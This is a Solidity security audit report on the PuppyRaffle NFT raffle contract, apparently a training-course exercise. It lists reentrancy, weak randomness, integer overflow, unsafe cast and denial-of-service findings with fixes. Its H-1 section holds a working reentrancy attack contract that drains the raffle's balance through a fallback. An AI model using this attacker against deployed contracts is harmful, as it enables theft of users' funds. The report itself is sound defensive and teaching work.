PuppyRaffle Audit Report

Version 1.0

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PuppyRaffle Audit Report

Cyfrin.io

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Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The AzmaeenGH's team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 22bbbb2c47f3f2b78c1b134590baf41383fd354f
- In Scope:

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

I audited this codebase in line with the instructions provided by Updraft Cirriculam. Auditor AzmaeenGH spend 12+ hours on this code, and used foundry commands and testing methodology to find the reported bugs in the code.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Gas	2
Info	7
Total	16

Findings

High

[H-1] Reentracny attack in `PuppyRaffle::refund` allows entrant to detain raffle balance

Descriptions: The `PuppyRaffle::refund` function does not follow CEI (Checkes, Effects, Interactions) and aas a result, enalbles participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update `PuppyRaffle::players` array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
```

```
10          );
11
12  @>      payable(msg.sender).sendValue(entranceFee);
13  @>      players[playerIndex] = address(0);
14
15          emit RaffleRefunded(playerAddress);
16      }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contrac with the `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enter the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code

Code

Place the following into `PuppyRaffleTest.t.sol`

```
1
2       function testReentrancyRefund() public {
3           ///// 'playersEntered' Modifier part:
4           address[] memory players = new address[](4);
5           players[0] = playerOne;
6           players[1] = playerTwo;
7           players[2] = playerThree;
8           players[3] = playerFour;
9           puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
10          /////
11          ReentrancyAttacker attackerContract = new ReentrancyAttacker(
12              puppyRaffle
13          );
14          address attackUser = makeAddr("attacker");
15          vm.deal(attackUser, 1 ether);
16
17          uint256 startingAttackContractBalance = address(
                attackerContract)
18              .balance;
19          uint256 startingContractBalance = address(puppyRaffle).balance;
20
```

```
        // attack
        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log(
            "STARTING attacker contract Balance: ",
            startingAttackContractBalance
        );
        console.log("STARTING contract Balance: ",
           startingContractBalance);
        console.log("// Attacker enters the raffle with his 1 ether .")
            ;
        console.log("// Now the puppyRaffle Contract should have 5
           ether.");
        console.log("// After running the attack: ");

        console.log(
            "ENDING attacker contract Balance: ",
            address(attackerContract).balance
        );
        console.log("ENDING contract Balance: ", address(puppyRaffle).
           balance);

        // assertEq(endingContractBalance, 0);
    }
```

Add this contract as well.

```

contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        // Entering the Raffle:
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
```

```
23          if (address(puppyRaffle).balance >= entranceFee) {
24              puppyRaffle.refund(attackerIndex);
25          }
26      }
27
28      fallback() external payable {
29          _stealMoney();
30      }
31
32      receive() external payable {
33          _stealMoney();
34      }
35  }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1
2     function refund(uint256 playerIndex) public {
3          address playerAddress = players[playerIndex];
4          require(
5              playerAddress == msg.sender,
6              "PuppyRaffle: Only the player can refund"
7          );
8          require(
9              playerAddress != address(0),
10             "PuppyRaffle: Player already refunded, or is not active"
11         );
12
13 +       players[playerIndex] = address(0);
14 +       emit RaffleRefunded(playerAddress);
15
16         payable(msg.sender).sendValue(entranceFee);
17
18 -       players[playerIndex] = address(0);
19 -       emit RaffleRefunded(playerAddress);
20     }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence predict the winning puppy.

Descriptions: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable find number. A predictable number is no a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war aas to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Descriptions: In solidity versions prior to `0.8.0` integers were subject to interger overflows.

```
1
2 uint64 myVar = type(uint64).max
3 // 18446744073709551615
4 myVar = myVar +1
5 // myVar will be 0
```

Impact: In `PyppuRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: (Proof of Code)

1. We conclude a raffle of 4 players
2. We then have 89 players enter a new raffle, and conclude the raffle
3. `totalFees` will be:

```
1 totalFees = totalFees + uint64(fee);
2 // aka
3 totalFees = 800000000000000000 + 17800000000000000000
4 // and this will overflow!
5 totalFees = 153255926290448384
```

4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!"
);
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

CODE

```
    function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
            second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the
            require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`:

```
1 -  require(address(this).balance == uint256(totalFees), "
     PuppyRaffle: There are currently players active!" );
```

   There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping thought the players array to check for duplicates in `PuppyRaffle::enterRafle` is a potential denianl of service (DoS) attack, incrementing gas costs for future entrants

Descriptions: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle stats will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
1
2 @>        for (uint256 i = 0; i < players.length - 1; i++) {
3             for (uint256 j = i + 1; j < players.length; j++) {
4                 require(
5                     players[i] != players[j], "PuppyRaffle: Duplicate
                          player"
6                 );
7             }
8         }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be the one of the first in the queue.

An attack might make the `PuppyRaffle::entrants` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept: (Proof of Code)

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6252048 gas - 2nd 100 players: ~18068138 gas

This is 3x more expensive for the second 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
    function test_denialOfService() public {
        vm.txGasPrice(1);

        uint256 playerNumber = 100;

        // For FIRST 100 PLAYERS:
        address[] memory players = new address[](playerNumber);

        for (uint i = 0; i < playerNumber; i++) {
            players[i] = address(i);
        }

        uint gasStartFirst100 = gasleft();

        puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);

        uint gasEndFirst100 = gasleft();

        uint256 gasUsedFirst100Players = (gasStartFirst100 - gasEndFirst100) *
            tx.gasprice;
        console.log("Gas cost for first 100 : ", gasUsedFirst100Players);

        // NOW FOR THE SECOND 1 0 0  PLAYERS:
        address[] memory playersTwo = new address[](playerNumber);

        for (uint i = 0; i < playerNumber; i++) {
            playersTwo[i] = address(i + playerNumber);
        }
        uint gasStartSecond100 = gasleft();

        puppyRaffle.enterRaffle{value: entranceFee * playersTwo.length}(
            playersTwo
        );

        uint gasEndSecond100 = gasleft();

        uint256 gasUsedSecond100Players = (gasStartSecond100 - gasEndSecond100) * tx.gasprice;
        console.log("Gas cost for second 100 : ", gasUsedSecond100Players);

```

```
        assert(gasUsedFirst100Players < gasUsedSecond100Players);
    }
```

Recommended Mitigation: There are a few recomendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyway, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
+   mapping(address=> uint256) public addressToRaffleId;
+   uint256 public raffleId = 0;
    *
    *
    *
    function enterRaffle(address[] memory newPlayers) public payable {
        require(
            msg.value == entranceFee * newPlayers.length,
            "PuppyRaffle: Must send enough to enter raffle"
        );
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
        }

-        // Check for duplicates
+        // Check for duplocates only from new players
+       for(uint256 i=0; i<newPlayers.length; i++){
+           require(addressToRaffleId[newPlayers[i]] != raffleId, "
    PuppyRaffle: Duplicate Player");
+         }
-        for (uint256 i = 0; i < players.length - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(
-                    players[i] != players[j],
-                    "PuppyRaffle: Duplicate player"
-                );
-            }
        }
        emit RaffleEnter(newPlayers);
    }
*
*
*
    function selectWinner() external {
+       raffleId = raffleId + 1;
        require(
            block.timestamp >= raffleStartTime + raffleDuration,
            "PuppyRaffle: Raffle not over"
        );
```

Alternatively, you could use [OpenZeppelin's `EnumerablesSet` library] (https://docs.openzeppelin.com/contracts/3.x

[M-2] Unsafe cast of `PuppyRaffle::fees` loses fees

Descriptions: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1      function selectWinner() external {
2          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
3          require(players.length > 0, "PuppyRaffle: No players in raffle"
               );
4
5          uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
               sender, block.timestamp, block.difficulty))) % players.
               length;
6          address winner = players[winnerIndex];
7          uint256 fee = totalFees / 10;
8          uint256 winnings = address(this).balance - fee;
9  @>      totalFees = totalFees + uint64(fee);
10         players = new address[](0);
11         emit RaffleWinner(winner, winnings);
12     }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
1 // We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
1  -   uint64 public totalFees = 0;
2  +   uint256 public totalFees = 0;
3  .
4  .
5  .
6      function selectWinner() external {
7          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
8          require(players.length >= 4, "PuppyRaffle: Need at least 4
               players");
9          uint256 winnerIndex =
10             uint256(keccak256(abi.encodePacked(msg.sender, block.
                   timestamp, block.difficulty))) % players.length;
11         address winner = players[winnerIndex];
12         uint256 totalAmountCollected = players.length * entranceFee;
13         uint256 prizePool = (totalAmountCollected * 80) / 100;
14         uint256 fee = (totalAmountCollected * 20) / 100;
15 -       totalFees = totalFees + uint64(fee);
16 +       totalFees = totalFees + fee;
```

[M-3] Smart contract wallets raffle winners, without a `receive` or `fallback` function, will block the start of a new contract.

Descriptions: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money.

Proof of Concept:

1. 10 Smart Contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends.
3. The `selectWinner` function wouldn't work, even though the lottery is over.

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses => payout amounts, so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize. (recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Descriptions: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
    function getActivePlayerIndex(
        address player
    ) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 to incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffe::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due the function documentation.

Recommended Mitigation: The easiest recommandation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable`. - `PuppyRaffle::commonImageUri` should be `constant`. - `PuppyRaffle::rareImageUri` should be `constant`. - `PuppyRaffle::legendaryImageUri` should be `constant`.

[G-2] Storage variable in a loop should be cached

Descriptions: Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

Recommended Mitigation:

```
+     uint256 playerLength = players.length;
-     for (uint256 i = 0; i < players.length - 1; i++) {
+     for (uint256 i = 0; i < playerLength - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
+           for (uint256 j = i + 1; j < playerLength; j++) {
                require(
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
                );
            }
        }
```

Informational/Non-Crits

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2] Using an outdated version of Solidity is not recommended.

Please use a newer version like `0.8.18`.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with any of the following Solidity versions:

`0.8.18` The recommendations take into account:

Risks related to recent releases Risks of complex code generation changes Risks of new language features Risks of known bugs Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

please see slither documentation for more information

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 74

```
1           feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 221

```
1           previousWinner = winner; // e vanity, doesnt matter much
```

- Found in src/PuppyRaffle.sol Line: 252

```
1           feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice.

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
1  -        (bool success, ) = winner.call{value: prizePool}("");
2  -        require(success, "PuppyRaffle: Failed to send prize pool to
       winner");
3
4           _safeMint(winner, tokenId);
5
6  +        (bool success, ) = winner.call{value: prizePool}("");
7  +        require(success, "PuppyRaffle: Failed to send prize pool to
       winner");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
1         uint256 prizePool = (totalAmountCollected * 80) / 100;
2         uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
1 uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2 uint256 public constant FEE_PERCENTAGE = 20;
3 uint256 public constant POOL_PRECISION = 100;
```

and use like this:

```
1         uint256 prizePool = (totalAmountCollected *
             PRIZE_POOL_PERCENTAGE) / POOL_PRECISION;
2         uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
             POOL_PRECISION;
```

Exceptions - sometimes 0 and 1 are ok to have as magic number.

[I-6] State changes are missing events

[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed